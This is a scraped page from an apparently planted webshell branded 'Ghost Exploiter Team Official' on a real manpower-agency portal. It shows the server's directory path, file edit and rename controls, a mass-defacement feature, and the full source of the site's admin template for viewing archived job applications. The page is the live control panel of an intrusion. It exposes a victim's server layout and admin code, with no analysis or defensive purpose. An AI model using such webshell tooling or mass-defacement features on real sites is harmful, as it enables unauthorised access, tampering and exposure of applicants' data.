webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
portal.aminikamanpower.com
/
resources
/
views
/
admin
/
applications-archive
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
index.blade.php
4.722KB
edt
ren
show.blade.php
18.135KB
edt
ren
<link rel="stylesheet" href="{{ asset('assets/plugins/jquery-bar-rating-master/dist/themes/fontawesome-stars.css') }}"> <style> .right-panel-box { overflow-x: scroll; max-height: 34rem; } .resume-button { text-align: center; margin-top: 1rem } </style> <div class="rpanel-title"> @lang('menu.jobApplications') <span><i class="ti-close right-side-toggle"></i></span></div> <div class="r-panel-body p-3"> <div class="row font-12"> <div class="col-4"> <img src="{{ $application->photo_url }}" class="img-circle img-fluid"> {{--<div class="col-sm-6">--}} <p class="text-muted resume-button"> <a target="_blank" href="{{ $application->resume_url }}" class="btn btn-sm btn-primary">@lang('app.view') @lang('modules.jobApplication.resume')</a> </p> {{--</div>--}} @if($user->can('edit_job_applications')) <div class="stars stars-example-fontawesome text-center"> <select id="example-fontawesome" name="rating" autocomplete="off"> <option value=""></option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select> </div> @endif @if ($user->can('delete_job_applications')) <div class="text-muted resume-button"> <a href="javascript:unarchiveApplication({{ $application->id }})" class="btn btn-sm btn-info"> @lang('modules.jobApplication.unarchiveApplication') </a> </div> @endif </div> <div class="col-8 right-panel-box"> <div class="col-sm-12"> <strong>@lang('app.name')</strong><br> <p class="text-muted">{{ ucwords($application->full_name) }}</p> </div> <div class="col-sm-12"> <strong>@lang('modules.jobApplication.appliedFor')</strong><br> <p class="text-muted">{{ ucwords($application->job->title).' ('.ucwords($application->job->location->location).')' }}</p> </div> <div class="col-sm-12"> <strong>@lang('app.email')</strong><br> <p class="text-muted">{{ $application->email }}</p> </div> <div class="col-sm-12"> <strong>@lang('app.phone')</strong><br> <p class="text-muted">{{ $application->phone }}</p> </div> <div class="col-sm-12"> <div class="row"> @if (!is_null($application->gender)) <div class="col-sm-12 col-md-4"> <strong>@lang('app.gender')</strong><br> <p class="text-muted" id="gender-{{ $application->id }}">{{ ucfirst($application->gender) }}</p> </div> @endif @if (!is_null($application->dob)) <div class="col-sm-12 col-md-4"> <strong>@lang('app.dob')</strong><br> <p class="text-muted" id="dob-{{ $application->id }}">{{ $application->dob->format('jS F, Y') }}</p> </div> @endif </div> </div> @if (!is_null($application->country)) <div class="col-sm-12"> <div class="row"> <div class="col"> <strong>@lang('app.country')</strong><br> <p class="text-muted" id="country-{{ $application->id }}">{{ $application->country }}</p> </div> <div class="col"> <strong>@lang('app.state')</strong><br> <p class="text-muted" id="state-{{ $application->id }}">{{ $application->state }}</p> </div> <div class="col"> <strong>@lang('app.city')</strong><br> <p class="text-muted" id="city-{{ $application->id }}">{{ $application->city }}</p> </div> </div> </div> @endif <div class="col-sm-12"> <strong>@lang('modules.jobApplication.appliedAt')</strong><br> <p class="text-muted">{{ $application->created_at->format('d M, Y H:i') }}</p> </div> @if ($answers->count() > 0) <div class="col-sm-12"> <h4>@lang('modules.front.additionalDetails')</h4> @forelse($answers as $answer) <strong>{{$answer->question->question}}</strong><br> <p class="text-muted">{{ ucfirst($answer->answer)}}</p> @empty @endforelse </div> @endif @if(!is_null($application->schedule)) <hr> <h5>@lang('modules.interviewSchedule.scheduleDetail')</h5> <div class="col-sm-12"> <strong>@lang('modules.interviewSchedule.scheduleDate')</strong><br> <p class="text-muted">{{ $application->schedule->schedule_date->format('d M, Y H:i') }}</p> </div> <div class="row"> <div class="col-sm-6"> <strong>@lang('modules.interviewSchedule.assignedEmployee')</strong><br> </div> <div class="col-sm-6"> <strong>@lang('modules.interviewSchedule.employeeResponse')</strong><br> </div> @forelse($application->schedule->employee as $key => $emp ) <div class="col-sm-6"> <p class="text-muted">{{ ucwords($emp->user->name) }}</p> </div> <div class="col-sm-6"> @if($emp->user_accept_status == 'accept') <label class="badge badge-success">{{ ucwords($emp->user_accept_status) }}</label> @elseif($emp->user_accept_status == 'refuse') <label class="badge badge-danger">{{ ucwords($emp->user_accept_status) }}</label> @else <label class="badge badge-warning">{{ ucwords($emp->user_accept_status) }}</label> @endif </div> @empty @endforelse </div> @endif @if(isset($application->schedule->comments) == 'interview' && count($application->schedule->comments) > 0) <hr> <h5>@lang('modules.interviewSchedule.comments')</h5> @forelse($application->schedule->comments as $key => $comment ) <div class="col-sm-12"> <p class="text-muted"><b>{{$comment->user->name }}:</b> {{ $comment->comment }}</p> </div> @empty @endforelse @endif <div class="col-sm-12"> <p class="text-muted"> @if(!is_null($application->skype_id)) <span class="skype-button rounded" data-contact-id="live:{{$application->skype_id}}" data-text="Call"></span> @endif </p> </div> <div class="row"> @if($user->can('add_schedule') && $application->status->status == 'interview' && is_null($application->schedule)) <div class="col-sm-6"> <p class="text-muted"> <a onclick="createSchedule('{{$application->id}}')" href="javascript:;" class="btn btn-sm btn-info">@lang('modules.interviewSchedule.scheduleInterview')</a> </p> </div> @endif </div> </div> @if ($user->can('edit_job_applications')) <div class="col-12" id="skills-container"> <hr> <div class="col-sm-12 mb-3"> <h5>@lang('modules.jobApplication.skills')</h5> </div> <div class="form-group mb-2"> <select name="skills[]" id="skills" class="form-control select2 custom-select" multiple> @forelse ($skills as $skill) <option @if (!is_null($application->skills) && in_array($skill->id, $application->skills)) selected @endif value="{{ $skill->id }}">{{ $skill->name }}</option> @empty @endforelse </select> </div> <a href="javascript:addSkills({{ $application->id}});" id="add-skills" class="btn btn-sm btn-outline-success"> @if (!is_null($application->skills) && sizeof($application->skills) > 0) @lang('modules.jobApplication.updateSkills') @else @lang('modules.jobApplication.addSkills') @endif </a> </div> @endif <div class="col-12"> <hr> <div class="col-sm-12 mb-3"> <h5>@lang('modules.jobApplication.applicantNotes')</h5> </div> <div id="applicant-notes" class="col-sm-12"> <ul class="list-unstyled"> @foreach($application->notes as $key => $notes ) <li class="media mb-3" id="note-{{ $notes->id }}"> <div class="media-body"> <h6 class="mt-0 mb-1">{{ ucwords($notes->user->name) }} <span class="pull-right font-italic font-weight-light"><small> {{ $notes->created_at->diffForHumans() }} </small> @if($user->can('edit_job_applications')) <a href="javascript:;" class="edit-note" data-note-id="{{ $notes->id }}"><i class="fa fa-edit ml-2"></i></a> <a href="javascript:;" class="delete-note" data-note-id="{{ $notes->id }}"><i class="fa fa-trash ml-1 text-danger"></i></a> @endif </span> </h6> <small class="note-text">{{ ucfirst($notes->note_text) }}</small> <div class="note-textarea"></div> </div> </li> @endforeach </ul> </div> @if($user->can('edit_job_applications')) <div class="col-sm-12"> <div class="form-group mb-2"> <textarea name="note" id="note_text" cols="30" rows="2" class="form-control"></textarea> </div> <a href="javascript:;" id="add-note" class="btn btn-sm btn-outline-primary">@lang('modules.jobApplication.addNote')</a> </div> @endif </div> </div> </div> @if($user->can('edit_job_applications')) <script src="{{ asset('assets/plugins/jquery-bar-rating-master/dist/jquery.barrating.min.js') }}" type="text/javascript"></script> <script> $('#example-fontawesome').barrating({ theme: 'fontawesome-stars', showSelectedRating: false, onSelect: function (value, text, event) { if (event !== undefined && value !== '') { var url = "{{ route('admin.job-applications.rating-save',':id') }}"; url = url.replace(':id', {{$application->id}}); var token = '{{ csrf_token() }}'; var id = {{$application->id}}; $.easyAjax({ type: 'Post', url: url, container: '#example-fontawesome', data: {'rating': value, '_token': token}, success: function (response) { $('#example-fontawesome_' + id).barrating('set', value); } }); } } }); @if($application->rating !== null) $('#example-fontawesome').barrating('set', {{$application->rating}}); @endif </script> @endif <script> $('.select2#skills').select2(); function addSkills(applicationId) { let url = "{{ route('admin.job-applications.addSkills', ':id') }}"; url = url.replace(':id', applicationId); $.easyAjax({ url: url, type: 'POST', container: '#skills-container', data: { _token: '{{ csrf_token() }}', skills: $('#skills').val() }, success: function (response) { if (response.status === 'success') { $("body").removeClass("control-sidebar-slide-open"); if (typeof table !== 'undefined') { table._fnDraw(); } else { loadData(); } } } }) } function unarchiveApplication(applicationId) { swal({ title: "@lang('errors.areYouSure')", text: "@lang('errors.unarchiveWarning')", type: "info", showCancelButton: true, confirmButtonColor: "#28A745", confirmButtonText: "@lang('app.yes')", cancelButtonText: "@lang('app.no')", closeOnConfirm: true, closeOnCancel: true }, function(isConfirm){ if (isConfirm) { var url = "{{ route('admin.job-applications.unarchiveJobApplication', ':id') }}"; url = url.replace(':id', applicationId); var token = '{{ csrf_token() }}'; $.easyAjax({ type: 'POST', url: url, data: {'_token':token}, success: function (response) { $("body").removeClass("control-sidebar-slide-open"); if (response.status === 'success') { if (typeof table !== 'undefined') { table._fnDraw(); } else { loadData(); } } } }); } }); } $('#add-note').click(function () { var url = "{{ route('admin.applicant-note.store') }}"; var id = {{$application->id}}; var note = $('#note_text').val(); var token = '{{ csrf_token() }}'; $.easyAjax({ type: 'POST', url: url, data: {'_token':token, 'id':id, 'note': note}, success: function (response) { if(response.status == 'success') { $('#applicant-notes').html(response.view); $('#note_text').val(''); } } }); }); $('body').on('click', '.edit-note', function() { $(this).hide(); let noteId = $(this).data('note-id'); $('body').find('#note-'+noteId+' .note-text').hide(); let noteText = $('body').find('#note-'+noteId+' .note-text').html(); let textArea = '<textarea id="edit-note-text-'+noteId+'" class="form-control" row="4">'+noteText+'</textarea><a class="update-note" data-note-id="'+noteId+'" href="javascript:;"><i class="fa fa-check"></i> @lang("app.save")</a>'; $('body').find('#note-'+noteId+' .note-textarea').html(textArea); }); $('body').on('click', '.update-note', function () { let noteId = $(this).data('note-id'); var url = "{{ route('admin.applicant-note.update', ':id') }}"; url = url.replace(':id', noteId); var note = $('#edit-note-text-'+noteId).val(); var token = '{{ csrf_token() }}'; $.easyAjax({ type: 'POST', url: url, data: {'_token':token, 'noteId':noteId, 'note': note, '_method': 'PUT'}, success: function (response) { if(response.status == 'success') { $('#applicant-notes').html(response.view); } } }); }); $('body').on('click', '.delete-note', function(){ let noteId = $(this).data('note-id'); swal({ title: "@lang('errors.areYouSure')", text: "@lang('errors.deleteWarning')", type: "warning", showCancelButton: true, confirmButtonColor: "#DD6B55", confirmButtonText: "@lang('app.delete')", cancelButtonText: "@lang('app.cancel')", closeOnConfirm: true, closeOnCancel: true }, function(isConfirm){ if (isConfirm) { var url = "{{ route('admin.applicant-note.destroy', ':id') }}"; url = url.replace(':id', noteId); var token = '{{ csrf_token() }}'; $.easyAjax({ type: 'POST', url: url, data: {'_token':token, '_method': 'DELETE'}, success: function (response) { if(response.status == 'success') { $('#applicant-notes').html(response.view); } } }); } }); }); </script> @if(!is_null($application->skype_id)) <script src="https://swc.cdn.skype.com/sdk/v1/sdk.min.js"></script> @endif
<=Back
Liking